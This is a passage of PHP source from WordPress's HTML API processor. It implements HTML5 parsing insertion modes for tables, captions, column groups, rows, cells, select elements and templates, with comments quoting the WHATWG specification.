			 */
			$this->reconstruct_active_formatting_elements();
			$this->insert_html_element( $this->state->current_token );
			return true;
		} else {
			/*
			 * > Any other end tag
			 */

			/*
			 * Find the corresponding tag opener in the stack of open elements, if
			 * it exists before reaching a special element, which provides a kind
			 * of boundary in the stack. For example, a `</custom-tag>` should not
			 * close anything beyond its containing `P` or `DIV` element.
			 */
			foreach ( $this->state->stack_of_open_elements->walk_up() as $node ) {
				if ( 'html' === $node->namespace && $token_name === $node->node_name ) {
					break;
				}

				if ( self::is_special( $node ) ) {
					// This is a parse error, ignore the token.
					return $this->step();
				}
			}

			$this->generate_implied_end_tags( $token_name );
			if ( $node !== $this->state->stack_of_open_elements->current_node() ) {
				// @todo Record parse error: this error doesn't impact parsing.
			}

			foreach ( $this->state->stack_of_open_elements->walk_up() as $item ) {
				$this->state->stack_of_open_elements->pop();
				if ( $node === $item ) {
					return true;
				}
			}
		}

		$this->bail( 'Should not have been able to reach end of IN BODY processing. Check HTML API code.' );
		// This unnecessary return prevents tools from inaccurately reporting type errors.
		return false;
	}

	/**
	 * Parses next element in the 'in table' insertion mode.
	 *
	 * This internal function performs the 'in table' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-intable
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_table(): bool {
		$token_name = $this->get_token_name();
		$token_type = $this->get_token_type();
		$op_sigil   = '#tag' === $token_type ? ( parent::is_tag_closer() ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$token_name}";

		switch ( $op ) {
			/*
			 * > A character token, if the current node is table,
			 * > tbody, template, tfoot, thead, or tr element
			 */
			case '#text':
				$current_node      = $this->state->stack_of_open_elements->current_node();
				$current_node_name = $current_node ? $current_node->node_name : null;
				if (
					$current_node_name && (
						'TABLE' === $current_node_name ||
						'TBODY' === $current_node_name ||
						'TEMPLATE' === $current_node_name ||
						'TFOOT' === $current_node_name ||
						'THEAD' === $current_node_name ||
						'TR' === $current_node_name
					)
				) {
					/*
					 * If the text is empty after processing HTML entities and stripping
					 * U+0000 NULL bytes then ignore the token.
					 */
					if ( parent::TEXT_IS_NULL_SEQUENCE === $this->text_node_classification ) {
						return $this->step();
					}

					/*
					 * This follows the rules for "in table text" insertion mode.
					 *
					 * Whitespace-only text nodes are inserted in-place. Otherwise
					 * foster parenting is enabled and the nodes would be
					 * inserted out-of-place.
					 *
					 * > If any of the tokens in the pending table character tokens
					 * > list are character tokens that are not ASCII whitespace,
					 * > then this is a parse error: reprocess the character tokens
					 * > in the pending table character tokens list using the rules
					 * > given in the "anything else" entry in the "in table"
					 * > insertion mode.
					 * >
					 * > Otherwise, insert the characters given by the pending table
					 * > character tokens list.
					 *
					 * @see https://html.spec.whatwg.org/#parsing-main-intabletext
					 */
					if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
						$this->insert_html_element( $this->state->current_token );
						return true;
					}

					// Non-whitespace would trigger fostering, unsupported at this time.
					$this->bail( 'Foster parenting is not supported.' );
					break;
				}
				break;

			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is "caption"
			 */
			case '+CAPTION':
				$this->state->stack_of_open_elements->clear_to_table_context();
				$this->state->active_formatting_elements->insert_marker();
				$this->insert_html_element( $this->state->current_token );
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_CAPTION;
				return true;

			/*
			 * > A start tag whose tag name is "colgroup"
			 */
			case '+COLGROUP':
				$this->state->stack_of_open_elements->clear_to_table_context();
				$this->insert_html_element( $this->state->current_token );
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_COLUMN_GROUP;
				return true;

			/*
			 * > A start tag whose tag name is "col"
			 */
			case '+COL':
				$this->state->stack_of_open_elements->clear_to_table_context();

				/*
				 * > Insert an HTML element for a "colgroup" start tag token with no attributes,
				 * > then switch the insertion mode to "in column group".
				 */
				$this->insert_virtual_node( 'COLGROUP' );
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_COLUMN_GROUP;
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > A start tag whose tag name is one of: "tbody", "tfoot", "thead"
			 */
			case '+TBODY':
			case '+TFOOT':
			case '+THEAD':
				$this->state->stack_of_open_elements->clear_to_table_context();
				$this->insert_html_element( $this->state->current_token );
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_BODY;
				return true;

			/*
			 * > A start tag whose tag name is one of: "td", "th", "tr"
			 */
			case '+TD':
			case '+TH':
			case '+TR':
				$this->state->stack_of_open_elements->clear_to_table_context();
				/*
				 * > Insert an HTML element for a "tbody" start tag token with no attributes,
				 * > then switch the insertion mode to "in table body".
				 */
				$this->insert_virtual_node( 'TBODY' );
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_BODY;
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > A start tag whose tag name is "table"
			 *
			 * This tag in the IN TABLE insertion mode is a parse error.
			 */
			case '+TABLE':
				if ( ! $this->state->stack_of_open_elements->has_element_in_table_scope( 'TABLE' ) ) {
					return $this->step();
				}

				$this->state->stack_of_open_elements->pop_until( 'TABLE' );
				$this->reset_insertion_mode_appropriately();
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > An end tag whose tag name is "table"
			 */
			case '-TABLE':
				if ( ! $this->state->stack_of_open_elements->has_element_in_table_scope( 'TABLE' ) ) {
					// @todo Indicate a parse error once it's possible.
					return $this->step();
				}

				$this->state->stack_of_open_elements->pop_until( 'TABLE' );
				$this->reset_insertion_mode_appropriately();
				return true;

			/*
			 * > An end tag whose tag name is one of: "body", "caption", "col", "colgroup", "html", "tbody", "td", "tfoot", "th", "thead", "tr"
			 */
			case '-BODY':
			case '-CAPTION':
			case '-COL':
			case '-COLGROUP':
			case '-HTML':
			case '-TBODY':
			case '-TD':
			case '-TFOOT':
			case '-TH':
			case '-THEAD':
			case '-TR':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is one of: "style", "script", "template"
			 * > An end tag whose tag name is "template"
			 */
			case '+STYLE':
			case '+SCRIPT':
			case '+TEMPLATE':
			case '-TEMPLATE':
				/*
				 * > Process the token using the rules for the "in head" insertion mode.
				 */
				return $this->step_in_head();

			/*
			 * > A start tag whose tag name is "input"
			 *
			 * > If the token does not have an attribute with the name "type", or if it does, but
			 * > that attribute's value is not an ASCII case-insensitive match for the string
			 * > "hidden", then: act as described in the "anything else" entry below.
			 */
			case '+INPUT':
				$type_attribute = $this->get_attribute( 'type' );
				if ( ! is_string( $type_attribute ) || 'hidden' !== strtolower( $type_attribute ) ) {
					goto anything_else;
				}
				// @todo Indicate a parse error once it's possible.
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is "form"
			 *
			 * This tag in the IN TABLE insertion mode is a parse error.
			 */
			case '+FORM':
				if (
					$this->state->stack_of_open_elements->has_element_in_scope( 'TEMPLATE' ) ||
					isset( $this->state->form_element )
				) {
					return $this->step();
				}

				// This FORM is special because it immediately closes and cannot have other children.
				$this->insert_html_element( $this->state->current_token );
				$this->state->form_element = $this->state->current_token;
				$this->state->stack_of_open_elements->pop();
				return true;
		}

		/*
		 * > Anything else
		 * > Parse error. Enable foster parenting, process the token using the rules for the
		 * > "in body" insertion mode, and then disable foster parenting.
		 *
		 * @todo Indicate a parse error once it's possible.
		 */
		anything_else:
		$this->bail( 'Foster parenting is not supported.' );
	}

	/**
	 * Parses next element in the 'in table text' insertion mode.
	 *
	 * This internal function performs the 'in table text' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0 Stub implementation.
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-intabletext
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_table_text(): bool {
		$this->bail( 'No support for parsing in the ' . WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_TEXT . ' state.' );
	}

	/**
	 * Parses next element in the 'in caption' insertion mode.
	 *
	 * This internal function performs the 'in caption' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-incaption
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_caption(): bool {
		$tag_name = $this->get_tag();
		$op_sigil = $this->is_tag_closer() ? '-' : '+';
		$op       = "{$op_sigil}{$tag_name}";

		switch ( $op ) {
			/*
			 * > An end tag whose tag name is "caption"
			 * > A start tag whose tag name is one of: "caption", "col", "colgroup", "tbody", "td", "tfoot", "th", "thead", "tr"
			 * > An end tag whose tag name is "table"
			 *
			 * These tag handling rules are identical except for the final instruction.
			 * Handle them in a single block.
			 */
			case '-CAPTION':
			case '+CAPTION':
			case '+COL':
			case '+COLGROUP':
			case '+TBODY':
			case '+TD':
			case '+TFOOT':
			case '+TH':
			case '+THEAD':
			case '+TR':
			case '-TABLE':
				if ( ! $this->state->stack_of_open_elements->has_element_in_table_scope( 'CAPTION' ) ) {
					// Parse error: ignore the token.
					return $this->step();
				}

				$this->generate_implied_end_tags();
				if ( ! $this->state->stack_of_open_elements->current_node_is( 'CAPTION' ) ) {
					// @todo Indicate a parse error once it's possible.
				}

				$this->state->stack_of_open_elements->pop_until( 'CAPTION' );
				$this->state->active_formatting_elements->clear_up_to_last_marker();
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE;

				// If this is not a CAPTION end tag, the token should be reprocessed.
				if ( '-CAPTION' === $op ) {
					return true;
				}
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/**
			 * > An end tag whose tag name is one of: "body", "col", "colgroup", "html", "tbody", "td", "tfoot", "th", "thead", "tr"
			 */
			case '-BODY':
			case '-COL':
			case '-COLGROUP':
			case '-HTML':
			case '-TBODY':
			case '-TD':
			case '-TFOOT':
			case '-TH':
			case '-THEAD':
			case '-TR':
				// Parse error: ignore the token.
				return $this->step();
		}

		/**
		 * > Anything else
		 * >   Process the token using the rules for the "in body" insertion mode.
		 */
		return $this->step_in_body();
	}

	/**
	 * Parses next element in the 'in column group' insertion mode.
	 *
	 * This internal function performs the 'in column group' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-incolgroup
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_column_group(): bool {
		$token_name = $this->get_token_name();
		$token_type = $this->get_token_type();
		$op_sigil   = '#tag' === $token_type ? ( parent::is_tag_closer() ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$token_name}";

		switch ( $op ) {
			/*
			 * > A character token that is one of U+0009 CHARACTER TABULATION, U+000A LINE FEED (LF),
			 * > U+000C FORM FEED (FF), U+000D CARRIAGE RETURN (CR), or U+0020 SPACE
			 */
			case '#text':
				if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
					// Insert the character.
					$this->insert_html_element( $this->state->current_token );
					return true;
				}

				goto in_column_group_anything_else;
				break;

			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				// @todo Indicate a parse error once it's possible.
				return $this->step();

			/*
			 * > A start tag whose tag name is "html"
			 */
			case '+HTML':
				return $this->step_in_body();

			/*
			 * > A start tag whose tag name is "col"
			 */
			case '+COL':
				$this->insert_html_element( $this->state->current_token );
				$this->state->stack_of_open_elements->pop();
				return true;

			/*
			 * > An end tag whose tag name is "colgroup"
			 */
			case '-COLGROUP':
				if ( ! $this->state->stack_of_open_elements->current_node_is( 'COLGROUP' ) ) {
					// @todo Indicate a parse error once it's possible.
					return $this->step();
				}
				$this->state->stack_of_open_elements->pop();
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE;
				return true;

			/*
			 * > An end tag whose tag name is "col"
			 */
			case '-COL':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is "template"
			 * > An end tag whose tag name is "template"
			 */
			case '+TEMPLATE':
			case '-TEMPLATE':
				return $this->step_in_head();
		}

		in_column_group_anything_else:
		/*
		 * > Anything else
		 */
		if ( ! $this->state->stack_of_open_elements->current_node_is( 'COLGROUP' ) ) {
			// @todo Indicate a parse error once it's possible.
			return $this->step();
		}
		$this->state->stack_of_open_elements->pop();
		$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE;
		return $this->step( self::REPROCESS_CURRENT_NODE );
	}

	/**
	 * Parses next element in the 'in table body' insertion mode.
	 *
	 * This internal function performs the 'in table body' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-intbody
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_table_body(): bool {
		$tag_name = $this->get_tag();
		$op_sigil = $this->is_tag_closer() ? '-' : '+';
		$op       = "{$op_sigil}{$tag_name}";

		switch ( $op ) {
			/*
			 * > A start tag whose tag name is "tr"
			 */
			case '+TR':
				$this->state->stack_of_open_elements->clear_to_table_body_context();
				$this->insert_html_element( $this->state->current_token );
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_ROW;
				return true;

			/*
			 * > A start tag whose tag name is one of: "th", "td"
			 */
			case '+TH':
			case '+TD':
				// @todo Indicate a parse error once it's possible.
				$this->state->stack_of_open_elements->clear_to_table_body_context();
				$this->insert_virtual_node( 'TR' );
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_ROW;
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > An end tag whose tag name is one of: "tbody", "tfoot", "thead"
			 */
			case '-TBODY':
			case '-TFOOT':
			case '-THEAD':
				if ( ! $this->state->stack_of_open_elements->has_element_in_table_scope( $tag_name ) ) {
					// Parse error: ignore the token.
					return $this->step();
				}

				$this->state->stack_of_open_elements->clear_to_table_body_context();
				$this->state->stack_of_open_elements->pop();
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE;
				return true;

			/*
			 * > A start tag whose tag name is one of: "caption", "col", "colgroup", "tbody", "tfoot", "thead"
			 * > An end tag whose tag name is "table"
			 */
			case '+CAPTION':
			case '+COL':
			case '+COLGROUP':
			case '+TBODY':
			case '+TFOOT':
			case '+THEAD':
			case '-TABLE':
				if (
					! $this->state->stack_of_open_elements->has_element_in_table_scope( 'TBODY' ) &&
					! $this->state->stack_of_open_elements->has_element_in_table_scope( 'THEAD' ) &&
					! $this->state->stack_of_open_elements->has_element_in_table_scope( 'TFOOT' )
				) {
					// Parse error: ignore the token.
					return $this->step();
				}
				$this->state->stack_of_open_elements->clear_to_table_body_context();
				$this->state->stack_of_open_elements->pop();
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE;
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > An end tag whose tag name is one of: "body", "caption", "col", "colgroup", "html", "td", "th", "tr"
			 */
			case '-BODY':
			case '-CAPTION':
			case '-COL':
			case '-COLGROUP':
			case '-HTML':
			case '-TD':
			case '-TH':
			case '-TR':
				// Parse error: ignore the token.
				return $this->step();
		}

		/*
		 * > Anything else
		 * > Process the token using the rules for the "in table" insertion mode.
		 */
		return $this->step_in_table();
	}

	/**
	 * Parses next element in the 'in row' insertion mode.
	 *
	 * This internal function performs the 'in row' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-intr
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_row(): bool {
		$tag_name = $this->get_tag();
		$op_sigil = $this->is_tag_closer() ? '-' : '+';
		$op       = "{$op_sigil}{$tag_name}";

		switch ( $op ) {
			/*
			 * > A start tag whose tag name is one of: "th", "td"
			 */
			case '+TH':
			case '+TD':
				$this->state->stack_of_open_elements->clear_to_table_row_context();
				$this->insert_html_element( $this->state->current_token );
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_CELL;
				$this->state->active_formatting_elements->insert_marker();
				return true;

			/*
			 * > An end tag whose tag name is "tr"
			 */
			case '-TR':
				if ( ! $this->state->stack_of_open_elements->has_element_in_table_scope( 'TR' ) ) {
					// Parse error: ignore the token.
					return $this->step();
				}

				$this->state->stack_of_open_elements->clear_to_table_row_context();
				$this->state->stack_of_open_elements->pop();
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_BODY;
				return true;

			/*
			 * > A start tag whose tag name is one of: "caption", "col", "colgroup", "tbody", "tfoot", "thead", "tr"
			 * > An end tag whose tag name is "table"
			 */
			case '+CAPTION':
			case '+COL':
			case '+COLGROUP':
			case '+TBODY':
			case '+TFOOT':
			case '+THEAD':
			case '+TR':
			case '-TABLE':
				if ( ! $this->state->stack_of_open_elements->has_element_in_table_scope( 'TR' ) ) {
					// Parse error: ignore the token.
					return $this->step();
				}

				$this->state->stack_of_open_elements->clear_to_table_row_context();
				$this->state->stack_of_open_elements->pop();
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_BODY;
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > An end tag whose tag name is one of: "tbody", "tfoot", "thead"
			 */
			case '-TBODY':
			case '-TFOOT':
			case '-THEAD':
				if ( ! $this->state->stack_of_open_elements->has_element_in_table_scope( $tag_name ) ) {
					// Parse error: ignore the token.
					return $this->step();
				}

				if ( ! $this->state->stack_of_open_elements->has_element_in_table_scope( 'TR' ) ) {
					// Ignore the token.
					return $this->step();
				}

				$this->state->stack_of_open_elements->clear_to_table_row_context();
				$this->state->stack_of_open_elements->pop();
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_BODY;
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > An end tag whose tag name is one of: "body", "caption", "col", "colgroup", "html", "td", "th"
			 */
			case '-BODY':
			case '-CAPTION':
			case '-COL':
			case '-COLGROUP':
			case '-HTML':
			case '-TD':
			case '-TH':
				// Parse error: ignore the token.
				return $this->step();
		}

		/*
		 * > Anything else
		 * >   Process the token using the rules for the "in table" insertion mode.
		 */
		return $this->step_in_table();
	}

	/**
	 * Parses next element in the 'in cell' insertion mode.
	 *
	 * This internal function performs the 'in cell' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-intd
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_cell(): bool {
		$tag_name = $this->get_tag();
		$op_sigil = $this->is_tag_closer() ? '-' : '+';
		$op       = "{$op_sigil}{$tag_name}";

		switch ( $op ) {
			/*
			 * > An end tag whose tag name is one of: "td", "th"
			 */
			case '-TD':
			case '-TH':
				if ( ! $this->state->stack_of_open_elements->has_element_in_table_scope( $tag_name ) ) {
					// Parse error: ignore the token.
					return $this->step();
				}

				$this->generate_implied_end_tags();

				/*
				 * @todo This needs to check if the current node is an HTML element, meaning that
				 *       when SVG and MathML support is added, this needs to differentiate between an
				 *       HTML element of the given name, such as `<center>`, and a foreign element of
				 *       the same given name.
				 */
				if ( ! $this->state->stack_of_open_elements->current_node_is( $tag_name ) ) {
					// @todo Indicate a parse error once it's possible.
				}

				$this->state->stack_of_open_elements->pop_until( $tag_name );
				$this->state->active_formatting_elements->clear_up_to_last_marker();
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_ROW;
				return true;

			/*
			 * > A start tag whose tag name is one of: "caption", "col", "colgroup", "tbody", "td",
			 * > "tfoot", "th", "thead", "tr"
			 */
			case '+CAPTION':
			case '+COL':
			case '+COLGROUP':
			case '+TBODY':
			case '+TD':
			case '+TFOOT':
			case '+TH':
			case '+THEAD':
			case '+TR':
				/*
				 * > Assert: The stack of open elements has a td or th element in table scope.
				 *
				 * Nothing to do here, except to verify in tests that this never appears.
				 */

				$this->close_cell();
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > An end tag whose tag name is one of: "body", "caption", "col", "colgroup", "html"
			 */
			case '-BODY':
			case '-CAPTION':
			case '-COL':
			case '-COLGROUP':
			case '-HTML':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > An end tag whose tag name is one of: "table", "tbody", "tfoot", "thead", "tr"
			 */
			case '-TABLE':
			case '-TBODY':
			case '-TFOOT':
			case '-THEAD':
			case '-TR':
				if ( ! $this->state->stack_of_open_elements->has_element_in_table_scope( $tag_name ) ) {
					// Parse error: ignore the token.
					return $this->step();
				}
				$this->close_cell();
				return $this->step( self::REPROCESS_CURRENT_NODE );
		}

		/*
		 * > Anything else
		 * >   Process the token using the rules for the "in body" insertion mode.
		 */
		return $this->step_in_body();
	}

	/**
	 * Parses next element in the 'in select' insertion mode.
	 *
	 * This internal function performs the 'in select' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#parsing-main-inselect
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_select(): bool {
		$token_name = $this->get_token_name();
		$token_type = $this->get_token_type();
		$op_sigil   = '#tag' === $token_type ? ( parent::is_tag_closer() ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$token_name}";

		switch ( $op ) {
			/*
			 * > Any other character token
			 */
			case '#text':
				/*
				 * > A character token that is U+0000 NULL
				 *
				 * If a text node only comprises null bytes then it should be
				 * entirely ignored and should not return to calling code.
				 */
				if ( parent::TEXT_IS_NULL_SEQUENCE === $this->text_node_classification ) {
					// Parse error: ignore the token.
					return $this->step();
				}

				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is "html"
			 */
			case '+HTML':
				return $this->step_in_body();

			/*
			 * > A start tag whose tag name is "option"
			 */
			case '+OPTION':
				if ( $this->state->stack_of_open_elements->current_node_is( 'OPTION' ) ) {
					$this->state->stack_of_open_elements->pop();
				}
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is "optgroup"
			 * > A start tag whose tag name is "hr"
			 *
			 * These rules are identical except for the treatment of the self-closing flag and
			 * the subsequent pop of the HR void element, all of which is handled elsewhere in the processor.
			 */
			case '+OPTGROUP':
			case '+HR':
				if ( $this->state->stack_of_open_elements->current_node_is( 'OPTION' ) ) {
					$this->state->stack_of_open_elements->pop();
				}

				if ( $this->state->stack_of_open_elements->current_node_is( 'OPTGROUP' ) ) {
					$this->state->stack_of_open_elements->pop();
				}

				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > An end tag whose tag name is "optgroup"
			 */
			case '-OPTGROUP':
				$current_node = $this->state->stack_of_open_elements->current_node();
				if ( $current_node && 'OPTION' === $current_node->node_name ) {
					foreach ( $this->state->stack_of_open_elements->walk_up( $current_node ) as $parent ) {
						break;
					}
					if ( $parent && 'OPTGROUP' === $parent->node_name ) {
						$this->state->stack_of_open_elements->pop();
					}
				}

				if ( $this->state->stack_of_open_elements->current_node_is( 'OPTGROUP' ) ) {
					$this->state->stack_of_open_elements->pop();
					return true;
				}

				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > An end tag whose tag name is "option"
			 */
			case '-OPTION':
				if ( $this->state->stack_of_open_elements->current_node_is( 'OPTION' ) ) {
					$this->state->stack_of_open_elements->pop();
					return true;
				}

				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > An end tag whose tag name is "select"
			 * > A start tag whose tag name is "select"
			 *
			 * > It just gets treated like an end tag.
			 */
			case '-SELECT':
			case '+SELECT':
				if ( ! $this->state->stack_of_open_elements->has_element_in_select_scope( 'SELECT' ) ) {
					// Parse error: ignore the token.
					return $this->step();
				}
				$this->state->stack_of_open_elements->pop_until( 'SELECT' );
				$this->reset_insertion_mode_appropriately();
				return true;

			/*
			 * > A start tag whose tag name is one of: "input", "keygen", "textarea"
			 *
			 * All three of these tags are considered a parse error when found in this insertion mode.
			 */
			case '+INPUT':
			case '+KEYGEN':
			case '+TEXTAREA':
				if ( ! $this->state->stack_of_open_elements->has_element_in_select_scope( 'SELECT' ) ) {
					// Ignore the token.
					return $this->step();
				}
				$this->state->stack_of_open_elements->pop_until( 'SELECT' );
				$this->reset_insertion_mode_appropriately();
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > A start tag whose tag name is one of: "script", "template"
			 * > An end tag whose tag name is "template"
			 */
			case '+SCRIPT':
			case '+TEMPLATE':
			case '-TEMPLATE':
				return $this->step_in_head();
		}

		/*
		 * > Anything else
		 * >   Parse error: ignore the token.
		 */
		return $this->step();
	}

	/**
	 * Parses next element in the 'in select in table' insertion mode.
	 *
	 * This internal function performs the 'in select in table' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-inselectintable
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_select_in_table(): bool {
		$token_name = $this->get_token_name();
		$token_type = $this->get_token_type();
		$op_sigil   = '#tag' === $token_type ? ( parent::is_tag_closer() ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$token_name}";

		switch ( $op ) {
			/*
			 * > A start tag whose tag name is one of: "caption", "table", "tbody", "tfoot", "thead", "tr", "td", "th"
			 */
			case '+CAPTION':
			case '+TABLE':
			case '+TBODY':
			case '+TFOOT':
			case '+THEAD':
			case '+TR':
			case '+TD':
			case '+TH':
				// @todo Indicate a parse error once it's possible.
				$this->state->stack_of_open_elements->pop_until( 'SELECT' );
				$this->reset_insertion_mode_appropriately();
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > An end tag whose tag name is one of: "caption", "table", "tbody", "tfoot", "thead", "tr", "td", "th"
			 */
			case '-CAPTION':
			case '-TABLE':
			case '-TBODY':
			case '-TFOOT':
			case '-THEAD':
			case '-TR':
			case '-TD':
			case '-TH':
				// @todo Indicate a parse error once it's possible.
				if ( ! $this->state->stack_of_open_elements->has_element_in_table_scope( $token_name ) ) {
					return $this->step();
				}
				$this->state->stack_of_open_elements->pop_until( 'SELECT' );
				$this->reset_insertion_mode_appropriately();
				return $this->step( self::REPROCESS_CURRENT_NODE );
		}

		/*
		 * > Anything else
		 */
		return $this->step_in_select();
	}

	/**
	 * Parses next element in the 'in template' insertion mode.
	 *
	 * This internal function performs the 'in template' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0 Stub implementation.
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-intemplate
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_template(): bool {
		$token_name = $this->get_token_name();
		$token_type = $this->get_token_type();
		$is_closer  = $this->is_tag_closer();
		$op_sigil   = '#tag' === $token_type ? ( $is_closer ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$token_name}";

		switch ( $op ) {
			/*
			 * > A character token
			 * > A comment token
			 * > A DOCTYPE token
			 */
			case '#text':
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
			case 'html':
				return $this->step_in_body();

			/*
			 * > A start tag whose tag name is one of: "base", "basefont", "bgsound", "link",
			 * > "meta", "noframes", "script", "style", "template", "title"
			 * > An end tag whose tag name is "template"
			 */
			case '+BASE':
			case '+BASEFONT':
			case '+BGSOUND':
			case '+LINK':
			case '+META':
			case '+NOFRAMES':
			case '+SCRIPT':
			case '+STYLE':
			case '+TEMPLATE':
			case '+TITLE':
			case '-TEMPLATE':
				return $this->step_in_head();

			/*
			 * > A start tag whose tag name is one of: "caption", "colgroup", "tbody", "tfoot", "thead"
			 */
			case '+CAPTION':
			case '+COLGROUP':
			case '+TBODY':
			case '+TFOOT':
			case '+THEAD':
				array_pop( $this->state->stack_of_template_insertion_modes );
